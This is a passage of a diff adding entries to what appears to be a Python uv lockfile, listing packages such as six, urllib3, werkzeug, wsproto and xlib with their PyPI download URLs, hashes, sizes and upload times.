"https://files.pythonhosted.org/packages/b0/d4/bfa032f961103eba93de583b161f0e6a5b63cebb8f2c7d0c6e6efe1e3d2e/simple_websocket-1.1.0.tar.gz", hash = "sha256:7939234e7aa067c534abdab3a9ed933ec9ce4691b0713c78acb195560aa52ae4", size = 17300, upload-time = "2024-10-10T22:39:31.412Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/52/59/0782e51887ac6b07ffd1570e0364cf901ebc36345fea669969d2084baebb/simple_websocket-1.1.0-py3-none-any.whl", hash = "sha256:4af6069630a38ed6c561010f0e11a5bc0d4ca569b36306eb257cd9a192497c8c", size = 13842, upload-time = "2024-10-10T22:39:29.645Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "tomlkit" +version = "0.14.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/af/14b24e41977adb296d6bd1fb59402cf7d60ce364f90c890bd2ec65c43b5a/tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064", size = 187167, upload-time = "2026-01-13T01:14:53.304Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b5/11/87d6d29fb5d237229d67973a6c9e06e048f01cf4994dee194ab0ea841814/tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680", size = 39310, upload-time = "2026-01-13T01:14:51.965Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "werkzeug" +version = "3.1.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/70/1469ef1d3542ae7c2c7b72bd5e3a4e6ee69d7978fa8a3af05a38eca5becf/werkzeug-3.1.5.tar.gz", hash = "sha256:6a548b0e88955dd07ccb25539d7d0cc97417ee9e179677d22c7041c8f078ce67", size = 864754, upload-time = "2026-01-08T17:49:23.247Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ad/e4/8d97cca767bcc1be76d16fb76951608305561c6e056811587f36cb1316a8/werkzeug-3.1.5-py3-none-any.whl", hash = "sha256:5111e36e91086ece91f93268bb39b4a35c1e6f1feac762c9c822ded0a4e322dc", size = 225025, upload-time = "2026-01-08T17:49:21.859Z" }, +] + +[[package]] +name = "wsproto" +version = "1.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c7/79/12135bdf8b9c9367b8701c2c19a14c913c120b882d50b014ca0d38083c2c/wsproto-1.3.2.tar.gz", hash = "sha256:b86885dcf294e15204919950f666e06ffc6c7c114ca900b060d6e16293528294", size = 50116, upload-time = "2025-11-20T18:18:01.871Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/f5/10b68b7b1544245097b2a1b8238f66f2fc6dcaeb24ba5d917f52bd2eed4f/wsproto-1.3.2-py3-none-any.whl", hash = "sha256:61eea322cdf56e8cc904bd3ad7573359a242ba65688716b0710a5eb12beab584", size = 24405, upload-time = "2025-11-20T18:18:00.454Z" }, +] + +[[package]] +name = "xlib" +version = "0.21" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/74/d4/6033a97f96fc7d7bb822dab52e2e3c9532256d7ce033fa9675734941b9ac/xlib-0.21.tar.gz", hash = "sha256:60b7cd5d90f5d5922d9ce27b61589c07d970796558d417461db7b66e366bc401", size = 146776, upload-time = "2018-01-02T09:39:40.149Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/00/321541273b0ed2167b36c82be9baeb0bdc8af1c11c1b01de9436b84b5eaf/xlib-0.21-py2.py3-none-any.whl", hash = "sha256:8eee67dad83ef4b82bbbfa85d51eeb20c79d12b119fe25aa1d27bd602ff82212", size = 123811, upload-time = "2018-01-02T09:39:33.518Z" }, +]